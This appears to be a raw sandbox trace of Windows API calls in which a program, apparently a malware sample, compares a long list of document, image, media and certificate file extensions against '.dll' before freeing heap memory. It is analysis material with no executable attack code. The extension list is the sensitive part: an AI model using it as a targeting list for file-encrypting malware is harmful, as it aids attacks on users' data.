[0178.135] lstrcmpiW (lpString1=".dcr", lpString2=".dll") returned -1 [0178.135] lstrlenW (lpString=".der") returned 4 [0178.135] lstrcmpiW (lpString1=".der", lpString2=".dll") returned -1 [0178.135] lstrlenW (lpString=".dib") returned 4 [0178.135] lstrcmpiW (lpString1=".dib", lpString2=".dll") returned -1 [0178.135] lstrlenW (lpString=".dic") returned 4 [0178.135] lstrcmpiW (lpString1=".dic", lpString2=".dll") returned -1 [0178.135] lstrlenW (lpString=".dif") returned 4 [0178.135] lstrcmpiW (lpString1=".dif", lpString2=".dll") returned -1 [0178.135] lstrlenW (lpString=".divx") returned 5 [0178.135] lstrcmpiW (lpString1=".divx", lpString2="s.dll") returned -1 [0178.135] lstrlenW (lpString=".djvu") returned 5 [0178.135] lstrcmpiW (lpString1=".djvu", lpString2="s.dll") returned -1 [0178.135] lstrlenW (lpString=".dng") returned 4 [0178.135] lstrcmpiW (lpString1=".dng", lpString2=".dll") returned 1 [0178.135] lstrlenW (lpString=".doc") returned 4 [0178.135] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0178.135] lstrlenW (lpString=".docm") returned 5 [0178.135] lstrcmpiW (lpString1=".docm", lpString2="s.dll") returned -1 [0178.135] lstrlenW (lpString=".docx") returned 5 [0178.135] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0178.135] lstrlenW (lpString=".dot") returned 4 [0178.135] lstrcmpiW (lpString1=".dot", lpString2=".dll") returned 1 [0178.135] lstrlenW (lpString=".dotm") returned 5 [0178.135] lstrcmpiW (lpString1=".dotm", lpString2="s.dll") returned -1 [0178.135] lstrlenW (lpString=".dotx") returned 5 [0178.135] lstrcmpiW (lpString1=".dotx", lpString2="s.dll") returned -1 [0178.136] lstrlenW (lpString=".dpx") returned 4 [0178.136] lstrcmpiW (lpString1=".dpx", lpString2=".dll") returned 1 [0178.136] lstrlenW (lpString=".dqy") returned 4 [0178.136] lstrcmpiW (lpString1=".dqy", lpString2=".dll") returned 1 [0178.136] lstrlenW (lpString=".dsn") returned 4 [0178.136] lstrcmpiW (lpString1=".dsn", lpString2=".dll") returned 1 [0178.136] lstrlenW (lpString=".dt") returned 3 [0178.136] lstrcmpiW (lpString1=".dt", lpString2="dll") returned -1 [0178.136] lstrlenW (lpString=".dtd") returned 4 [0178.136] lstrcmpiW (lpString1=".dtd", lpString2=".dll") returned 1 [0178.136] lstrlenW (lpString=".dwg") returned 4 [0178.136] lstrcmpiW (lpString1=".dwg", lpString2=".dll") returned 1 [0178.136] lstrlenW (lpString=".dwt") returned 4 [0178.136] lstrcmpiW (lpString1=".dwt", lpString2=".dll") returned 1 [0178.136] lstrlenW (lpString=".dx") returned 3 [0178.136] lstrcmpiW (lpString1=".dx", lpString2="dll") returned -1 [0178.136] lstrlenW (lpString=".dxf") returned 4 [0178.136] lstrcmpiW (lpString1=".dxf", lpString2=".dll") returned 1 [0178.136] lstrlenW (lpString=".edml") returned 5 [0178.136] lstrcmpiW (lpString1=".edml", lpString2="s.dll") returned -1 [0178.136] lstrlenW (lpString=".efd") returned 4 [0178.136] lstrcmpiW (lpString1=".efd", lpString2=".dll") returned 1 [0178.136] lstrlenW (lpString=".elf") returned 4 [0178.136] lstrcmpiW (lpString1=".elf", lpString2=".dll") returned 1 [0178.136] lstrlenW (lpString=".emf") returned 4 [0178.136] lstrcmpiW (lpString1=".emf", lpString2=".dll") returned 1 [0178.136] lstrlenW (lpString=".emz") returned 4 [0178.136] lstrcmpiW (lpString1=".emz", lpString2=".dll") returned 1 [0178.136] lstrlenW (lpString=".epf") returned 4 [0178.136] lstrcmpiW (lpString1=".epf", lpString2=".dll") returned 1 [0178.136] lstrlenW (lpString=".eps") returned 4 [0178.136] lstrcmpiW (lpString1=".eps", lpString2=".dll") returned 1 [0178.136] lstrlenW (lpString=".epsf") returned 5 [0178.136] lstrcmpiW (lpString1=".epsf", lpString2="s.dll") returned -1 [0178.137] lstrlenW (lpString=".epsp") returned 5 [0178.137] lstrcmpiW (lpString1=".epsp", lpString2="s.dll") returned -1 [0178.137] lstrlenW (lpString=".erf") returned 4 [0178.137] lstrcmpiW (lpString1=".erf", lpString2=".dll") returned 1 [0178.137] lstrlenW (lpString=".exr") returned 4 [0178.137] lstrcmpiW (lpString1=".exr", lpString2=".dll") returned 1 [0178.137] lstrlenW (lpString=".f4v") returned 4 [0178.137] lstrcmpiW (lpString1=".f4v", lpString2=".dll") returned 1 [0178.137] lstrlenW (lpString=".fido") returned 5 [0178.137] lstrcmpiW (lpString1=".fido", lpString2="s.dll") returned -1 [0178.137] lstrlenW (lpString=".flm") returned 4 [0178.137] lstrcmpiW (lpString1=".flm", lpString2=".dll") returned 1 [0178.137] lstrlenW (lpString=".flv") returned 4 [0178.137] lstrcmpiW (lpString1=".flv", lpString2=".dll") returned 1 [0178.137] lstrlenW (lpString=".frm") returned 4 [0178.137] lstrcmpiW (lpString1=".frm", lpString2=".dll") returned 1 [0178.137] lstrlenW (lpString=".fxg") returned 4 [0178.137] lstrcmpiW (lpString1=".fxg", lpString2=".dll") returned 1 [0178.137] lstrlenW (lpString=".geo") returned 4 [0178.137] lstrcmpiW (lpString1=".geo", lpString2=".dll") returned 1 [0178.137] lstrlenW (lpString=".gif") returned 4 [0178.137] lstrcmpiW (lpString1=".gif", lpString2=".dll") returned 1 [0178.137] lstrlenW (lpString=".grs") returned 4 [0178.137] lstrcmpiW (lpString1=".grs", lpString2=".dll") returned 1 [0178.137] lstrlenW (lpString=".gz") returned 3 [0178.137] lstrcmpiW (lpString1=".gz", lpString2="dll") returned -1 [0178.137] lstrlenW (lpString=".h") returned 2 [0178.137] lstrcmpiW (lpString1=".h", lpString2="ll") returned -1 [0178.137] lstrlenW (lpString=".hdr") returned 4 [0178.137] lstrcmpiW (lpString1=".hdr", lpString2=".dll") returned 1 [0178.137] lstrlenW (lpString=".hpp") returned 4 [0178.137] lstrcmpiW (lpString1=".hpp", lpString2=".dll") returned 1 [0178.137] lstrlenW (lpString=".hta") returned 4 [0178.137] lstrcmpiW (lpString1=".hta", lpString2=".dll") returned 1 [0178.137] lstrlenW (lpString=".htc") returned 4 [0178.138] lstrcmpiW (lpString1=".htc", lpString2=".dll") returned 1 [0178.138] lstrlenW (lpString=".htm") returned 4 [0178.138] lstrcmpiW (lpString1=".htm", lpString2=".dll") returned 1 [0178.138] lstrlenW (lpString=".html") returned 5 [0178.138] lstrcmpiW (lpString1=".html", lpString2="s.dll") returned -1 [0178.138] lstrlenW (lpString=".icb") returned 4 [0178.138] lstrcmpiW (lpString1=".icb", lpString2=".dll") returned 1 [0178.138] lstrlenW (lpString=".ics") returned 4 [0178.138] lstrcmpiW (lpString1=".ics", lpString2=".dll") returned 1 [0178.138] lstrlenW (lpString=".iff") returned 4 [0178.138] lstrcmpiW (lpString1=".iff", lpString2=".dll") returned 1 [0178.138] lstrlenW (lpString=".inc") returned 4 [0178.138] lstrcmpiW (lpString1=".inc", lpString2=".dll") returned 1 [0178.138] lstrlenW (lpString=".indd") returned 5 [0178.138] lstrcmpiW (lpString1=".indd", lpString2="s.dll") returned -1 [0178.138] lstrlenW (lpString=".ini") returned 4 [0178.138] lstrcmpiW (lpString1=".ini", lpString2=".dll") returned 1 [0178.138] lstrlenW (lpString=".iqy") returned 4 [0178.138] lstrcmpiW (lpString1=".iqy", lpString2=".dll") returned 1 [0178.138] lstrlenW (lpString=".j2c") returned 4 [0178.138] lstrcmpiW (lpString1=".j2c", lpString2=".dll") returned 1 [0178.138] lstrlenW (lpString=".j2k") returned 4 [0178.138] lstrcmpiW (lpString1=".j2k", lpString2=".dll") returned 1 [0178.138] lstrlenW (lpString=".java") returned 5 [0178.138] lstrcmpiW (lpString1=".java", lpString2="s.dll") returned -1 [0178.138] lstrlenW (lpString=".jp2") returned 4 [0178.138] lstrcmpiW (lpString1=".jp2", lpString2=".dll") returned 1 [0178.138] lstrlenW (lpString=".jpc") returned 4 [0178.138] lstrcmpiW (lpString1=".jpc", lpString2=".dll") returned 1 [0178.138] lstrlenW (lpString=".jpe") returned 4 [0178.138] lstrcmpiW (lpString1=".jpe", lpString2=".dll") returned 1 [0178.139] lstrlenW (lpString=".jpeg") returned 5 [0178.139] lstrcmpiW (lpString1=".jpeg", lpString2="s.dll") returned -1 [0178.139] lstrlenW (lpString=".jpf") returned 4 [0178.139] lstrcmpiW (lpString1=".jpf", lpString2=".dll") returned 1 [0178.139] lstrlenW (lpString=".jpg") returned 4 [0178.139] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0178.139] lstrlenW (lpString=".jpx") returned 4 [0178.139] lstrcmpiW (lpString1=".jpx", lpString2=".dll") returned 1 [0178.139] lstrlenW (lpString=".js") returned 3 [0178.139] lstrcmpiW (lpString1=".js", lpString2="dll") returned -1 [0178.139] lstrlenW (lpString=".jsf") returned 4 [0178.139] lstrcmpiW (lpString1=".jsf", lpString2=".dll") returned 1 [0178.139] lstrlenW (lpString=".json") returned 5 [0178.139] lstrcmpiW (lpString1=".json", lpString2="s.dll") returned -1 [0178.139] lstrlenW (lpString=".jsp") returned 4 [0178.139] lstrcmpiW (lpString1=".jsp", lpString2=".dll") returned 1 [0178.139] lstrlenW (lpString=".kdc") returned 4 [0178.139] lstrcmpiW (lpString1=".kdc", lpString2=".dll") returned 1 [0178.139] lstrlenW (lpString=".kmz") returned 4 [0178.139] lstrcmpiW (lpString1=".kmz", lpString2=".dll") returned 1 [0178.139] lstrlenW (lpString=".kwm") returned 4 [0178.139] lstrcmpiW (lpString1=".kwm", lpString2=".dll") returned 1 [0178.139] lstrlenW (lpString=".lasso") returned 6 [0178.139] lstrcmpiW (lpString1=".lasso", lpString2="es.dll") returned -1 [0178.139] lstrlenW (lpString=".lbi") returned 4 [0178.139] lstrcmpiW (lpString1=".lbi", lpString2=".dll") returned 1 [0178.139] lstrlenW (lpString=".lgf") returned 4 [0178.139] lstrcmpiW (lpString1=".lgf", lpString2=".dll") returned 1 [0178.139] lstrlenW (lpString=".lgp") returned 4 [0178.139] lstrcmpiW (lpString1=".lgp", lpString2=".dll") returned 1 [0178.139] lstrlenW (lpString=".log") returned 4 [0178.139] lstrcmpiW (lpString1=".log", lpString2=".dll") returned 1 [0178.139] lstrlenW (lpString=".m1v") returned 4 [0178.139] lstrcmpiW (lpString1=".m1v", lpString2=".dll") returned 1 [0178.139] lstrlenW (lpString=".m4a") returned 4 [0178.140] lstrcmpiW (lpString1=".m4a", lpString2=".dll") returned 1 [0178.140] lstrlenW (lpString=".m4v") returned 4 [0178.140] lstrcmpiW (lpString1=".m4v", lpString2=".dll") returned 1 [0178.140] lstrlenW (lpString=".max") returned 4 [0178.140] lstrcmpiW (lpString1=".max", lpString2=".dll") returned 1 [0178.140] lstrlenW (lpString=".md") returned 3 [0178.140] lstrcmpiW (lpString1=".md", lpString2="dll") returned -1 [0178.140] lstrlenW (lpString=".mda") returned 4 [0178.140] lstrcmpiW (lpString1=".mda", lpString2=".dll") returned 1 [0178.140] lstrlenW (lpString=".mdb") returned 4 [0178.140] lstrcmpiW (lpString1=".mdb", lpString2=".dll") returned 1 [0178.140] lstrlenW (lpString=".mde") returned 4 [0178.140] lstrcmpiW (lpString1=".mde", lpString2=".dll") returned 1 [0178.140] lstrlenW (lpString=".mdf") returned 4 [0178.140] lstrcmpiW (lpString1=".mdf", lpString2=".dll") returned 1 [0178.140] lstrlenW (lpString=".mdw") returned 4 [0178.140] lstrcmpiW (lpString1=".mdw", lpString2=".dll") returned 1 [0178.140] lstrlenW (lpString=".mef") returned 4 [0178.140] lstrcmpiW (lpString1=".mef", lpString2=".dll") returned 1 [0178.140] lstrlenW (lpString=".mft") returned 4 [0178.140] lstrcmpiW (lpString1=".mft", lpString2=".dll") returned 1 [0178.140] lstrlenW (lpString=".mfw") returned 4 [0178.140] lstrcmpiW (lpString1=".mfw", lpString2=".dll") returned 1 [0178.140] lstrlenW (lpString=".mht") returned 4 [0178.140] lstrcmpiW (lpString1=".mht", lpString2=".dll") returned 1 [0178.140] lstrlenW (lpString=".mhtml") returned 6 [0178.140] lstrcmpiW (lpString1=".mhtml", lpString2="es.dll") returned -1 [0178.140] lstrlenW (lpString=".mka") returned 4 [0178.140] lstrcmpiW (lpString1=".mka", lpString2=".dll") returned 1 [0178.140] lstrlenW (lpString=".mkidx") returned 6 [0178.140] lstrcmpiW (lpString1=".mkidx", lpString2="es.dll") returned -1 [0178.140] lstrlenW (lpString=".mkv") returned 4 [0178.140] lstrcmpiW (lpString1=".mkv", lpString2=".dll") returned 1 [0178.140] lstrlenW (lpString=".mos") returned 4 [0178.140] lstrcmpiW (lpString1=".mos", lpString2=".dll") returned 1 [0178.141] lstrlenW (lpString=".mov") returned 4 [0178.141] lstrcmpiW (lpString1=".mov", lpString2=".dll") returned 1 [0178.141] lstrlenW (lpString=".mp3") returned 4 [0178.141] lstrcmpiW (lpString1=".mp3", lpString2=".dll") returned 1 [0178.141] lstrlenW (lpString=".mp4") returned 4 [0178.141] lstrcmpiW (lpString1=".mp4", lpString2=".dll") returned 1 [0178.141] lstrlenW (lpString=".mpeg") returned 5 [0178.141] lstrcmpiW (lpString1=".mpeg", lpString2="s.dll") returned -1 [0178.141] lstrlenW (lpString=".mpg") returned 4 [0178.141] lstrcmpiW (lpString1=".mpg", lpString2=".dll") returned 1 [0178.141] lstrlenW (lpString=".mpv") returned 4 [0178.141] lstrcmpiW (lpString1=".mpv", lpString2=".dll") returned 1 [0178.141] lstrlenW (lpString=".mrw") returned 4 [0178.141] lstrcmpiW (lpString1=".mrw", lpString2=".dll") returned 1 [0178.141] lstrlenW (lpString=".msg") returned 4 [0178.141] lstrcmpiW (lpString1=".msg", lpString2=".dll") returned 1 [0178.141] lstrlenW (lpString=".mxl") returned 4 [0178.141] lstrcmpiW (lpString1=".mxl", lpString2=".dll") returned 1 [0178.141] lstrlenW (lpString=".myd") returned 4 [0178.141] lstrcmpiW (lpString1=".myd", lpString2=".dll") returned 1 [0178.141] lstrlenW (lpString=".myi") returned 4 [0178.141] lstrcmpiW (lpString1=".myi", lpString2=".dll") returned 1 [0178.141] lstrlenW (lpString=".nef") returned 4 [0178.141] lstrcmpiW (lpString1=".nef", lpString2=".dll") returned 1 [0178.141] lstrlenW (lpString=".nrw") returned 4 [0178.141] lstrcmpiW (lpString1=".nrw", lpString2=".dll") returned 1 [0178.141] lstrlenW (lpString=".obj") returned 4 [0178.141] lstrcmpiW (lpString1=".obj", lpString2=".dll") returned 1 [0178.141] lstrlenW (lpString=".odb") returned 4 [0178.141] lstrcmpiW (lpString1=".odb", lpString2=".dll") returned 1 [0178.141] lstrlenW (lpString=".odc") returned 4 [0178.141] lstrcmpiW (lpString1=".odc", lpString2=".dll") returned 1 [0178.141] lstrlenW (lpString=".odm") returned 4 [0178.141] lstrcmpiW (lpString1=".odm", lpString2=".dll") returned 1 [0178.142] lstrlenW (lpString=".odp") returned 4 [0178.142] lstrcmpiW (lpString1=".odp", lpString2=".dll") returned 1 [0178.142] lstrlenW (lpString=".ods") returned 4 [0178.142] lstrcmpiW (lpString1=".ods", lpString2=".dll") returned 1 [0178.142] lstrlenW (lpString=".oft") returned 4 [0178.142] lstrcmpiW (lpString1=".oft", lpString2=".dll") returned 1 [0178.142] lstrlenW (lpString=".one") returned 4 [0178.142] lstrcmpiW (lpString1=".one", lpString2=".dll") returned 1 [0178.142] lstrlenW (lpString=".onepkg") returned 7 [0178.142] lstrcmpiW (lpString1=".onepkg", lpString2="ces.dll") returned -1 [0178.142] lstrlenW (lpString=".onetoc2") returned 8 [0178.142] lstrcmpiW (lpString1=".onetoc2", lpString2="rces.dll") returned -1 [0178.142] lstrlenW (lpString=".opt") returned 4 [0178.142] lstrcmpiW (lpString1=".opt", lpString2=".dll") returned 1 [0178.142] lstrlenW (lpString=".oqy") returned 4 [0178.142] lstrcmpiW (lpString1=".oqy", lpString2=".dll") returned 1 [0178.142] lstrlenW (lpString=".orf") returned 4 [0178.142] lstrcmpiW (lpString1=".orf", lpString2=".dll") returned 1 [0178.142] lstrlenW (lpString=".p12") returned 4 [0178.142] lstrcmpiW (lpString1=".p12", lpString2=".dll") returned 1 [0178.142] lstrlenW (lpString=".p7b") returned 4 [0178.142] lstrcmpiW (lpString1=".p7b", lpString2=".dll") returned 1 [0178.142] lstrlenW (lpString=".p7c") returned 4 [0178.142] lstrcmpiW (lpString1=".p7c", lpString2=".dll") returned 1 [0178.142] lstrlenW (lpString=".pam") returned 4 [0178.142] lstrcmpiW (lpString1=".pam", lpString2=".dll") returned 1 [0178.142] lstrlenW (lpString=".pbm") returned 4 [0178.142] lstrcmpiW (lpString1=".pbm", lpString2=".dll") returned 1 [0178.142] lstrlenW (lpString=".pct") returned 4 [0178.142] lstrcmpiW (lpString1=".pct", lpString2=".dll") returned 1 [0178.142] lstrlenW (lpString=".pcx") returned 4 [0178.142] lstrcmpiW (lpString1=".pcx", lpString2=".dll") returned 1 [0178.142] lstrlenW (lpString=".pdd") returned 4 [0178.142] lstrcmpiW (lpString1=".pdd", lpString2=".dll") returned 1 [0178.143] lstrlenW (lpString=".pdf") returned 4 [0178.143] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0178.143] lstrlenW (lpString=".pdp") returned 4 [0178.143] lstrcmpiW (lpString1=".pdp", lpString2=".dll") returned 1 [0178.143] lstrlenW (lpString=".pef") returned 4 [0178.143] lstrcmpiW (lpString1=".pef", lpString2=".dll") returned 1 [0178.143] lstrlenW (lpString=".pem") returned 4 [0178.143] lstrcmpiW (lpString1=".pem", lpString2=".dll") returned 1 [0178.143] lstrlenW (lpString=".pff") returned 4 [0178.143] lstrcmpiW (lpString1=".pff", lpString2=".dll") returned 1 [0178.143] lstrlenW (lpString=".pfm") returned 4 [0178.143] lstrcmpiW (lpString1=".pfm", lpString2=".dll") returned 1 [0178.143] lstrlenW (lpString=".pfx") returned 4 [0178.143] lstrcmpiW (lpString1=".pfx", lpString2=".dll") returned 1 [0178.143] lstrlenW (lpString=".pgm") returned 4 [0178.143] lstrcmpiW (lpString1=".pgm", lpString2=".dll") returned 1 [0178.143] lstrlenW (lpString=".php") returned 4 [0178.143] lstrcmpiW (lpString1=".php", lpString2=".dll") returned 1 [0178.143] lstrlenW (lpString=".php3") returned 5 [0178.143] lstrcmpiW (lpString1=".php3", lpString2="s.dll") returned -1 [0178.143] lstrlenW (lpString=".php4") returned 5 [0178.143] lstrcmpiW (lpString1=".php4", lpString2="s.dll") returned -1 [0178.143] lstrlenW (lpString=".php5") returned 5 [0178.143] lstrcmpiW (lpString1=".php5", lpString2="s.dll") returned -1 [0178.143] lstrlenW (lpString=".phtml") returned 6 [0178.143] lstrcmpiW (lpString1=".phtml", lpString2="es.dll") returned -1 [0178.143] lstrlenW (lpString=".pict") returned 5 [0178.143] lstrcmpiW (lpString1=".pict", lpString2="s.dll") returned -1 [0178.143] lstrlenW (lpString=".pl") returned 3 [0178.143] lstrcmpiW (lpString1=".pl", lpString2="dll") returned -1 [0178.143] lstrlenW (lpString=".pls") returned 4 [0178.143] lstrcmpiW (lpString1=".pls", lpString2=".dll") returned 1 [0178.143] lstrlenW (lpString=".pm") returned 3 [0178.143] lstrcmpiW (lpString1=".pm", lpString2="dll") returned -1 [0178.144] lstrlenW (lpString=".png") returned 4 [0178.144] lstrcmpiW (lpString1=".png", lpString2=".dll") returned 1 [0178.144] lstrlenW (lpString=".pnm") returned 4 [0178.144] lstrcmpiW (lpString1=".pnm", lpString2=".dll") returned 1 [0178.144] lstrlenW (lpString=".pot") returned 4 [0178.144] lstrcmpiW (lpString1=".pot", lpString2=".dll") returned 1 [0178.144] lstrlenW (lpString=".potm") returned 5 [0178.144] lstrcmpiW (lpString1=".potm", lpString2="s.dll") returned -1 [0178.144] lstrlenW (lpString=".potx") returned 5 [0178.144] lstrcmpiW (lpString1=".potx", lpString2="s.dll") returned -1 [0178.144] lstrlenW (lpString=".ppa") returned 4 [0178.144] lstrcmpiW (lpString1=".ppa", lpString2=".dll") returned 1 [0178.144] lstrlenW (lpString=".ppam") returned 5 [0178.144] lstrcmpiW (lpString1=".ppam", lpString2="s.dll") returned -1 [0178.144] lstrlenW (lpString=".ppm") returned 4 [0178.144] lstrcmpiW (lpString1=".ppm", lpString2=".dll") returned 1 [0178.144] lstrlenW (lpString=".pps") returned 4 [0178.144] lstrcmpiW (lpString1=".pps", lpString2=".dll") returned 1 [0178.144] lstrlenW (lpString=".ppsm") returned 5 [0178.144] lstrcmpiW (lpString1=".ppsm", lpString2="s.dll") returned -1 [0178.144] lstrlenW (lpString=".ppt") returned 4 [0178.144] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0178.144] lstrlenW (lpString=".pptm") returned 5 [0178.144] lstrcmpiW (lpString1=".pptm", lpString2="s.dll") returned -1 [0178.144] lstrlenW (lpString=".pptx") returned 5 [0178.144] lstrcmpiW (lpString1=".pptx", lpString2="s.dll") returned -1 [0178.144] lstrlenW (lpString=".prn") returned 4 [0178.144] lstrcmpiW (lpString1=".prn", lpString2=".dll") returned 1 [0178.144] lstrlenW (lpString=".ps") returned 3 [0178.144] lstrcmpiW (lpString1=".ps", lpString2="dll") returned -1 [0178.144] lstrlenW (lpString=".psb") returned 4 [0178.144] lstrcmpiW (lpString1=".psb", lpString2=".dll") returned 1 [0178.144] lstrlenW (lpString=".psd") returned 4 [0178.145] lstrcmpiW (lpString1=".psd", lpString2=".dll") returned 1 [0178.145] lstrlenW (lpString=".pst") returned 4 [0178.145] lstrcmpiW (lpString1=".pst", lpString2=".dll") returned 1 [0178.145] lstrlenW (lpString=".ptx") returned 4 [0178.145] lstrcmpiW (lpString1=".ptx", lpString2=".dll") returned 1 [0178.145] lstrlenW (lpString=".pub") returned 4 [0178.145] lstrcmpiW (lpString1=".pub", lpString2=".dll") returned 1 [0178.145] lstrlenW (lpString=".pwm") returned 4 [0178.145] lstrcmpiW (lpString1=".pwm", lpString2=".dll") returned 1 [0178.145] lstrlenW (lpString=".pxr") returned 4 [0178.145] lstrcmpiW (lpString1=".pxr", lpString2=".dll") returned 1 [0178.145] lstrlenW (lpString=".py") returned 3 [0178.145] lstrcmpiW (lpString1=".py", lpString2="dll") returned -1 [0178.145] lstrlenW (lpString=".qt") returned 3 [0178.145] lstrcmpiW (lpString1=".qt", lpString2="dll") returned -1 [0178.145] lstrlenW (lpString=".r3d") returned 4 [0178.145] lstrcmpiW (lpString1=".r3d", lpString2=".dll") returned 1 [0178.145] lstrlenW (lpString=".raf") returned 4 [0178.145] lstrcmpiW (lpString1=".raf", lpString2=".dll") returned 1 [0178.145] lstrlenW (lpString=".rar") returned 4 [0178.145] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0178.145] lstrlenW (lpString=".raw") returned 4 [0178.145] lstrcmpiW (lpString1=".raw", lpString2=".dll") returned 1 [0178.238] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4270068 | out: hHeap=0x790000) returned 1 [0178.248] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4270068 | out: hHeap=0x790000) returned 1 [0178.249] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4270068 | out: hHeap=0x790000) returned 1 [0178.251] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4270068 | out: hHeap=0x790000) returned 1 [0178.264] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4270068 | out: hHeap=0x790000) returned 1 [0178.265] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4270068 | out: hHeap=0x790000) returned 1 [0178.268] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4270068 | out: hHeap=0x790000) returned 1 [0178.269] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4270068 | out: hHeap=0x790000) returned 1 [0178.272] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4270068 | out: hHeap=0x790000) returned 1 [0178.273] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4270068 | out: hHeap=0x790000) returned 1 [0178.275] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4270068 | out: hHeap=0x790000) returned 1 [0178.276] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4270068 | out: hHeap=0x790000) returned 1 [0178.297] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4270068 | out: hHeap=0x790000) returned 1 [0178.298] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4270068 | out: hHeap=0x790000) returned 1 [0178.299] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4270068 | out: hHeap=0x790000) returned 1 [0178.301] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4270068 | out: hHeap=0x790000) returned 1 [0178.301] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4260060 | out: hHeap=0x790000) returned 1 [0178.301] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43700c8 | out: hHeap=0x790000) returned 1 [0178.305] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4260060 | out: hHeap=0x790000) returned 1 [0178.306] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4270068 | out: hHeap=0x790000) returned 1 [0178.308] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4270068 | out: hHeap=0x790000) returned 1 [0178.310] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4270068 | out: hHeap=0x790000) returned 1 [0178.907] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4270068 | out: hHeap=0x790000) returned 1 [0178.909] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4270068 | out: hHeap=0x790000) returned 1 [0178.910] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4270068 | out: hHeap=0x790000) returned 1 [0178.911] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4270068 | out: hHeap=0x790000) returned 1 [0178.913] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4270068 | out: hHeap=0x790000) returned 1 [0178.914] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4270068 | out: hHeap=0x790000) returned 1 [0178.916] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4270068 | out: hHeap=0x790000) returned 1 [0178.917] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4270068 | out: hHeap=0x790000) returned 1 [0178.919] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4270068 | out: hHeap=0x790000) returned 1 [0178.920] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4270068 | out: hHeap=0x790000) returned 1 [0178.921] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4270068 | out: hHeap=0x790000) returned 1 [0178.923] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4270068 | out: hHeap=0x790000) returned 1 [0178.924] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4270068 | out: hHeap=0x790000) returned 1 [0178.925] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4270068 | out: hHeap=0x790000) returned 1 [0178.926] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4270068 | out: hHeap=0x790000) returned 1 [0178.928] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4270068 | out: hHeap=0x790000) returned 1 [0178.929] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4270068 | out: hHeap=0x790000) returned 1 [0178.930] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4270068 | out: hHeap=0x790000) returned 1 [0178.932] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4270068 | out: hHeap=0x790000) returned 1 [0178.933] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4270068 | out: hHeap=0x790000) returned 1 [0178.934] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4270068 | out: hHeap=0x790000) returned 1 [0178.937] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4270068 | out: hHeap=0x790000) returned 1 [0178.938] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4270068 | out: hHeap=0x790000) returned 1 [0179.299] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4270068 | out: hHeap=0x790000) returned 1 [0179.300] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4270068 | out: hHeap=0x790000) returned 1 [0179.450] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4270068 | out: hHeap=0x790000) returned 1 [0179.451] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4270068 | out: hHeap=0x790000) returned 1 [0179.452] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4270068 | out: hHeap=0x790000) returned 1 [0179.453] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4270068 | out: hHeap=0x790000) returned 1 [0179.455] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4270068 | out: hHeap=0x790000) returned 1 [0179.456] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4270068 | out: hHeap=0x790000) returned 1 [0179.458] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4270068 | out: hHeap=0x790000) returned 1 [0179.471] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4270068 | out: hHeap=0x790000) 